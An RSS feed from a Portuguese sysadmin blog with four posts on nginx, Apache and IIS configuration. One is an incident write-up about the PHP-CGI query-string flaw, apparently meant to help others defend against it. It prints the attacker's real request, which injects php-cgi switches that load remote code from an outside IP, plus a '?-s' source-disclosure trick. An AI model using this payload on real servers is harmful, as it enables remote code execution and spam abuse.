<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Webservers Archives - Pereira, Thiago Santos.</title>
	<atom:link href="https://thiagosantos.com/blog/category/webservers/feed/" rel="self" type="application/rss+xml" />
	<link>https://thiagosantos.com/blog/category/webservers/</link>
	<description>the fun of code.</description>
	<lastBuildDate>Thu, 18 Jun 2015 17:15:15 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5</generator>
	<item>
		<title>NGINX 413 Request Entity Too Large Error</title>
		<link>https://thiagosantos.com/blog/616/webservers/nginx/nginx-413-request-entity-too-large-error/</link>
					<comments>https://thiagosantos.com/blog/616/webservers/nginx/nginx-413-request-entity-too-large-error/#respond</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Thu, 18 Jun 2015 17:11:38 +0000</pubDate>
				<category><![CDATA[nginx]]></category>
		<guid isPermaLink="false">http://thiagosantos.com/blog/?p=616</guid>

					<description><![CDATA[<p>Me deparei com uma &#8220;merendagem&#8221; na configuração do NGINX (nginx 413 request entity too large). Tentava enviar um arquivo encodado na base64 para um servidor recém inaugurado quando encontrei dificuldades para enviar alguns arquivos.  De inicio imaginei que pudesse ser um problema na origem, do servidor que estava enviando, debugando descobri que o CURL estava [&#8230;]</p>
<p>The post <a href="https://thiagosantos.com/blog/616/webservers/nginx/nginx-413-request-entity-too-large-error/">NGINX 413 Request Entity Too Large Error</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Me deparei com uma &#8220;merendagem&#8221; na configuração do NGINX (nginx 413 request entity too large). Tentava enviar um arquivo encodado na base64 para um servidor recém inaugurado quando encontrei dificuldades para enviar alguns arquivos.  De inicio imaginei que pudesse ser um problema na origem, do servidor que estava enviando, debugando descobri que o CURL estava dando timeout por conta do enorme tamanho do arquivo e da pequena banda larga, resolvido neste post.</p>
<p>Depois de resolver esse problema, o arquivo continuava a não subir, até que analisando o log de retorno vi a linda mensagem: 413 Request Entity Too Large Error and Solution<span id="more-616"></span></p>
<p>Resposta melhor definida que essa só se viesse me dizendo &#8220;Thiago aumente o client_max_body_size no nginx.conf!&#8221;. Esse é o lance, o tamanho padrão do client_max_body_size é de 1MB, ao menos nessa versão que compilei. O que fiz foi o seguinte:</p>
<p>Abri o arquivo nginx.conf</p>
<pre lang="shell">thiago# /etc/nginx/nginx.conf
</pre>
<p>Como quero que todos os sites tenham o mesmo limite coloquei dentro do <strong><em>http </em></strong></p>
<pre lang="nginx">http{
[...]
<strong>client_max_body_size</strong> 10M; #10mega bytes
[...]
}
</pre>
<p>Se você quiser definir um tamanho maior ou menos para um determinado dominio você coloca dentro do arquivo *.conf do seu dominio, em <em><strong>server</strong></em> (que também pode estar definido dentro do nginx.conf).</p>
<pre lang="nginx">server {
listen 80 ; ## listen for ipv4; this line is default and implied
server_name hml.thiagosantos.com;
set $root_path '/var/www/';
root $root_path;
charset off;
<strong>client_max_body_size</strong> 10M;
[...]
}
</pre>
<p>Reinicie o NGINX e tudo deve correr bem!<br />
Lembrando que há outros programas que podem limitar o tamanho do body ou o do post, como o PHP. Há configurações especificas no php.ini para definir esses termos.</p>
<p>http://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size</p>
<p>The post <a href="https://thiagosantos.com/blog/616/webservers/nginx/nginx-413-request-entity-too-large-error/">NGINX 413 Request Entity Too Large Error</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/616/webservers/nginx/nginx-413-request-entity-too-large-error/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>PHP-CGI query string parameters vulnerabitily</title>
		<link>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/</link>
					<comments>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/#respond</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Fri, 08 Jun 2012 19:10:38 +0000</pubDate>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webservers]]></category>
		<category><![CDATA[invasão cgi]]></category>
		<category><![CDATA[php-cgi]]></category>
		<category><![CDATA[query string vunerability]]></category>
		<guid isPermaLink="false">http://thiagosantos.com/blog/?p=397</guid>

					<description><![CDATA[<p>Uma massa de emails que lotou o espaço em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espaço em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execução de código arbitrário a partir dos parâmetros de linha de comando</p>
<p>The post <a href="https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/">PHP-CGI query string parameters vulnerabitily</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Uma massa de emails que lotou o espaço em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espaço em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execução de código arbitrário a partir dos parâmetros de linha de comando. Ou seja com o comando</p>
<pre>http://localhost/index.php?-s</pre>
<p>Você obtém o conteúdo do código PHP. Isso é muito bizarro!</p>
<h2><span style="color: #3366ff;">1. O que estava acontecendo?</span></h2>
<p>Uma massa de emails de spam estavam sendo enviados como sendo da Fedex, identificamos esses emails e paramos o Postfix. No momento em que paramos, observamos a crescente fila de email e o decrescente espaço em disco.</p>
<p>Localizamos o foco da invasão, um dos sites que administramos estava com permissão na pasta e nos arquivos de usuário e grupo para o www-data. E o spammer havia criado um arquivo chamado pagenews.php e umas variações de w98089n.php (w[0-9]{1,8}n.php, mais ou menos isso).<br />
<span id="more-397"></span><br />
O arquivo pagenews.php e as suas cópias w[0-9]{1,8}n.php continham um exploid com uma lista de diretorios, opções de criar, remover e editar aquivos, enviar email, e enviar em lote, além de um console e auto-remove.</p>
<p>De imediato criamos uma copia do pagenews.php, para analizarmos depois, e em seguida deletamos todos os arquivos. Em seguida mudamos as permissões da pasta e arquivos para um usuário padrão e seguro. Com isso achamos que os disparos de emails fosse parar, mas não foi o que aconteceu, a fila de emails só crescia.</p>
<p>Dai então procuramos por todo o servidor por rastros de outros arquivos e não encontramos nada!</p>
<h1><span style="color: #3366ff;">2. O que fizemos?</span></h1>
<p>Nesse servidor invadido só roda PHP, ou seja estavam de alguma forma usando a função mail() para disparar spams. Dai seguindo as dicas desse site (<a href="http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam">http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam</a>) criei um wrapper pra monitorar o envio dos emails usando a função mail do PHP. Funcionou muito bem, dai fiz um up nele. Na verdade eu não queria só saber de qual site estava sendo disparado o email, mas queria saber também de qual script php, e quais parametros estavam sendo passados para ele, logo o meu <em>phpsendmail</em> ficou assim.</p>
<p><em>/usr/local/bin/phpsendmail</em></p>
<pre style="overflow: auto, height: 300px;" lang="php">#!/usr/bin/php

<!--?php 

/**
  This script is a sendmail wrapper for php to log calls of the php mail()
function.
  Author: Till Brehm, www.ispconfig.org
  (Hopefully) secured by David Goodwin <david @ _palepurple_.co.uk-->
*/

$sendmail_bin = '/usr/sbin/sendmail';
$logfile = '/var/log/mail.form';

//* Get the email content
$logline = '';
$pointer = fopen('php://stdin', 'r');

while ($line = fgets($pointer)) {
        if(preg_match('/^to:/i', $line) || preg_match('/^from:/i', $line)) {
                $logline .= trim($line).' ';
        }
        $mail .= $line;
}

//* compose the sendmail command
$command = 'echo ' . escapeshellarg($mail) . ' | '.$sendmail_bin.' -t -i';
for ($i = 1; $i &lt; $_SERVER['argc']; $i++) {         $command .= escapeshellarg($_SERVER['argv'][$i]).' '; } //* Write the log file_put_contents($logfile, date('Y-m-d H:i:s') . ' ' . " \n\n ----\n".print_r($_ENV,true)."\n\n" . ' '     .$logline."\n\n", FILE_APPEND); //* Execute the command return shell_exec($command); ?&gt;</pre>
<p>O passo a passo pode seguir o do link do site que eu mandei, o wrapper recomendo usar o meu que fica mais fácil de ver as variáveis de ambiente no momento da execução do código.</p>
<p>Feito isso, comecei a monitorar o /var/log/mail.form com o comando tail.</p>
<p>shell~# tail -f /var/log/mail.form</p>
<p>O retorno foi inesperado e surpreendente como segue:</p>
<pre>To: xxxxxxx@yahoo.com From: "FedEx Service" &lt;information@fedex.com&gt;

2012-06-08 12:16:32

 ----
Array
(
    [SERVER_SIGNATURE] =&gt; &lt;address&gt;Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 Server at meusiteemphp.com.br Port 80&lt;/address&gt;

    [ORIG_PATH_TRANSLATED] =&gt; /var/www/sites/meusiteemphp/index.php
    [REDIRECT_SCRIPT_URL] =&gt; /index.php
    [HTTP_USER_AGENT] =&gt; Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0
    [SERVER_PORT] =&gt; 80
    [HTTP_HOST] =&gt; meusiteemphp.com.br
    [REDIRECT_SCRIPT_URI] =&gt; http://meusiteemphp.com.br/index.php
    [HTTP_EXPECT] =&gt; 100-continue
    [REDIRECT_HANDLER] =&gt; php5-cgi
    [DOCUMENT_ROOT] =&gt; /var/www/sites/meusiteemphp
    [SCRIPT_FILENAME] =&gt; /var/www/sites/meusiteemphp/index.php
    [REQUEST_URI] =&gt; /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SCRIPT_NAME] =&gt; /index.php
    [SCRIPT_URI] =&gt; http://meusiteemphp.com.br/index.php
    [REMOTE_PORT] =&gt; 32822
    [ORIG_SCRIPT_FILENAME] =&gt; /usr/lib/cgi-bin/php5
    [PATH] =&gt; /usr/local/bin:/usr/bin:/bin
    [SCRIPT_URL] =&gt; /index.php
    [PWD] =&gt; /var/www/sites/meusiteemphp
    [SERVER_ADMIN] =&gt; exemplo@exemplo.com.br
    [REDIRECT_STATUS] =&gt; 200
    [REDIRECT_QUERY_STRING] =&gt; -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [ORIG_SCRIPT_NAME] =&gt; /php5-cgi
    [HTTP_ACCEPT] =&gt; */*
    [REMOTE_ADDR] =&gt; 31.184.244.28
    [SHLVL] =&gt; 1
    [SERVER_NAME] =&gt; meusiteemphp.com.br
    [CONTENT_LENGTH] =&gt; 370977
    [SERVER_SOFTWARE] =&gt; Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
    [QUERY_STRING] =&gt; -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SERVER_ADDR] =&gt; 173.255.255.255
    [GATEWAY_INTERFACE] =&gt; CGI/1.1
    [SERVER_PROTOCOL] =&gt; HTTP/1.1
    [REDIRECT_URL] =&gt; /index.php
    [CONTENT_TYPE] =&gt; multipart/form-data; boundary=----------------------------0e65a7f6d6ad
    [REQUEST_METHOD] =&gt; POST
    [ORIG_PATH_INFO] =&gt; /index.php
    [_] =&gt; /usr/local/bin/phpsendmail
)</pre>
<p>Atenção aos indices REQUEST_URI e REQUEST_HANDLER. Ataque claro:</p>
<pre>-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt</pre>
<p>Peguei o arquivo send.txt e tinha um código todo organizado e bonitinho para envio de email. Com esses parametros a invasão estava dada, foi assim que o spammer conseguiu criar o arquivo pagenews.php e seus derivados, e mesmo após deletarmos os arquivos ele continuou mandando email.</p>
<p>Achei o seguinte no PHP.net <a href="https://bugs.php.net/bug.php?id=61910">https://bugs.php.net/bug.php?id=61910</a> :</p>
<pre>According to PHP's website, "PHP is a widely-used general-purpose
scripting language that is especially suited for Web development and
can be embedded into HTML." When PHP is used in a CGI-based setup
(such as Apache's mod_cgid), the php-cgi receives a processed query
string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary,
which can be exploited to disclose source code and obtain arbitrary
code execution.</pre>
<p>Dito e feito, funcionou de verdade, e o pior que foi comigo.<br />
Mas fica para aprendermos.</p>
<h1><span style="color: #3366ff;">3. O que foi feito?</span></h1>
<p>Atualizamos a versão do PHP da 5.2.6 para a 5.4.3 e aparentemente o envio em massa de email foi interrompido, de qualquer forma continuamos o monitoramento dos emails.</p>
<p>Boa sorte!</p>
<p>Referencias:<br />
<a href="http://www.php.net/archive/2012.php#id2012-05-03-1">http://www.php.net/archive/2012.php#id2012-05-03-1</a><br />
<a href="https://bugs.php.net/bug.php?id=61910">https://bugs.php.net/bug.php?id=61910</a><br />
<a href="http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam">http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam</a></p>
<p>The post <a href="https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/">PHP-CGI query string parameters vulnerabitily</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Alterando o arquivo index com .htaccess</title>
		<link>https://thiagosantos.com/blog/186/webservers/alterando-o-arquivo-index-com-htaccess/</link>
					<comments>https://thiagosantos.com/blog/186/webservers/alterando-o-arquivo-index-com-htaccess/#comments</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Fri, 28 Jan 2011 14:54:21 +0000</pubDate>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Webservers]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[directory index]]></category>
		<category><![CDATA[index file]]></category>
		<category><![CDATA[mudando o arquivo index]]></category>
		<guid isPermaLink="false">http://www.thiagosantos.com/blog/?p=186</guid>

					<description><![CDATA[<p>Um ponto no Apache que é muito útil é o .htaccess. Que são configurações do próprio Apache que podem ser usadas em diretórios para sobrescrever as configuração padrão. Quando você navega em um site, que usa o Apache, e não define o arquivo que quer acessar (como por exemplo: http://thiagosantos.com/blog/ ao invés de http://thiagosantos.com/blog/index.php) o Apache procura [&#8230;]</p>
<p>The post <a href="https://thiagosantos.com/blog/186/webservers/alterando-o-arquivo-index-com-htaccess/">Alterando o arquivo index com .htaccess</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div id="_mcePaste">Um ponto no Apache que é muito útil é o .htaccess. Que são configurações do próprio Apache que podem ser usadas em diretórios para sobrescrever as configuração padrão.</div>
<div id="_mcePaste">Quando você navega em um site, que usa o Apache, e não define o arquivo que quer acessar (como por exemplo: <em><strong>http://thiagosantos.com/blog/</strong> ao invés de <strong>http://thiagosantos.com/blog/index.php</strong>)</em> o Apache procura pelo arquivo padrão do diretório.</div>
<div>Se requisitarmos a URL <em>http://thiagosantos.com/blog/</em> o Apache vai procurar pelo arquivo padrão para essa pasta que nesse caso é o arquivo <em>index.php</em>, logo acessar <em>http://thiagosantos.com/blog/</em> e <em>http://thiagosantos.com/blog/index.php</em> dá no mesmo.</div>
<div>Normalmente o Apache está configurado da seguinte forma:</div>
<pre><span style="color: #888888;">DirectoryIndex index.html index.php index.htm default.htm</span></pre>
<div><span id="more-186"></span></div>
<div>Então se você tiver um desses arquivos no mesmo diretório e houver uma requisição em que não é especificado o arquivo a ser aberto, o Apache vai seguir a diretiva do .htaccess e retornar à requisição o primeiro arquivo que ele encontrar da lista no diretório. Usando a configuração acima seria o <em>index.html</em>.</div>
<div>Caso não haja o arquivo <em>index.html</em> no diretório o Apache vai retornar o arquivo<em> index.php</em> e por assim em diante.</div>
<div id="_mcePaste">Se você quiser definir um outro arquivo como sendo o índice do seu diretório como por exemplo o arquivo <em>home.phtml.</em></div>
<div id="_mcePaste">Basta definirmos o nosso home.phtml como índice, devemos colocar no .htaccess:</div>
<pre><span style="color: #888888;">DirectoryIndex home.phtml</span></pre>
<div>No caso de não existir o <em>home.phtm</em>l por algum motivo você pode definir segundas, terceiras, quartas &#8230; n opções</div>
<pre><span style="color: #888888;">DirectoryIndex home.phtml home.html thiagosantos.html buuunito.php</span></pre>
<p>Simples assim!<br />
Abraço</p>
<p>The post <a href="https://thiagosantos.com/blog/186/webservers/alterando-o-arquivo-index-com-htaccess/">Alterando o arquivo index com .htaccess</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/186/webservers/alterando-o-arquivo-index-com-htaccess/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>URL rewrite no IIS</title>
		<link>https://thiagosantos.com/blog/77/webservers/apache/url-rewrite-no-iis/</link>
					<comments>https://thiagosantos.com/blog/77/webservers/apache/url-rewrite-no-iis/#comments</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Sun, 25 Apr 2010 06:44:10 +0000</pubDate>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[IIS]]></category>
		<category><![CDATA[friendly urls]]></category>
		<category><![CDATA[httpd.conf]]></category>
		<category><![CDATA[mod rewrite]]></category>
		<category><![CDATA[url amigavel]]></category>
		<category><![CDATA[urls amigaveis]]></category>
		<guid isPermaLink="false">http://www.thiagosantos.com/blog/?p=77</guid>

					<description><![CDATA[<p>Hoje ( 25 de abril, 03:00 am), estava eu apanhando feio do IIS pra tentar colocar as URLs amigaveis do WordPress, eis que me surge uma iluminação divina, pode parecer até mentira, mas colocar URLs amigavel no IIS ficou mole igual ao &#8220;mod_rewrite&#8221; do Apache.  Para aqueles, assim como eu, por algum motivo estão usando [&#8230;]</p>
<p>The post <a href="https://thiagosantos.com/blog/77/webservers/apache/url-rewrite-no-iis/">URL rewrite no IIS</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hoje ( 25 de abril, 03:00 am), estava eu apanhando feio do IIS pra tentar colocar as URLs amigaveis do WordPress, eis que me surge uma iluminação divina, pode parecer até mentira, mas colocar URLs amigavel no IIS ficou mole igual ao &#8220;mod_rewrite&#8221; do Apache.  Para aqueles, assim como eu, por algum motivo estão usando o WordPress no IIS e não consegue usar as URLs amigaveis, já que o IIS não lê os mods do apache, esta é a saida, e melhor gratuita!</p>
<p><strong>O programa você pode baixar aqui:</strong> <a title="Baixe o filtro de ISAPI" href="http://www.helicontech.com/download-isapi_rewrite3.htm">http://www.helicontech.com/download-isapi_rewrite3.htm</a></p>
<address><strong>E o passo a passo de como instalar</strong>:  <a href="http://www.kylecaulfield.com/permalink-for-wordpress-iis-6-mod_rewrite-fixed-free">http://www.kylecaulfield.com/permalink-for-wordpress-iis-6-mod_rewrite-fixed-free</a></address>
<p>Como eu só precisava de um único blog rodando, a versão gratuita me caiu como uma luva sendo a parte &#8220;chata&#8221; que o rewrite fica no httpd.conf do na pasta do ISAPI Rewrite 3, e os nossos famosos .htaccess só funcionam na versão paga. Pra quem for colocar mais de um blog sob o mesmo dominio vai pagar U$25 e o server está saindo por U$95, e mesmo assim ta valendo muito a pena.</p>
<address> </address>
<p>Funcionou comigo rodando no Windows 2003.</p>
<address>Até mais.<br />
</address>
<address> </address>
<address> </address>
<address> </address>
<address><strong>[atualizado &#8211; 25/04/2010]<br />
</strong>Solução bem mais simples e gratuita para o IIS 7 por Pablo Weyne no <a title="Comentário.." href="http://www.thiagosantos.com/blog/77/2010/04/25/url-rewrite-no-iis/comment-page-1/#comment-243">comentário</a>:<br />
</address>
<p>&#8220;No IIS7 basta instalar o URL Rewrite utilizando o Web Platform Installer  (<a rel="nofollow" href="http://www.microsoft.com/web/downloads/platform.aspx">http://www.microsoft.com/web/downloads/platform.aspx</a>)  que resolve o problema.[&#8230;] &#8220;</p>
<p>The post <a href="https://thiagosantos.com/blog/77/webservers/apache/url-rewrite-no-iis/">URL rewrite no IIS</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/77/webservers/apache/url-rewrite-no-iis/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>
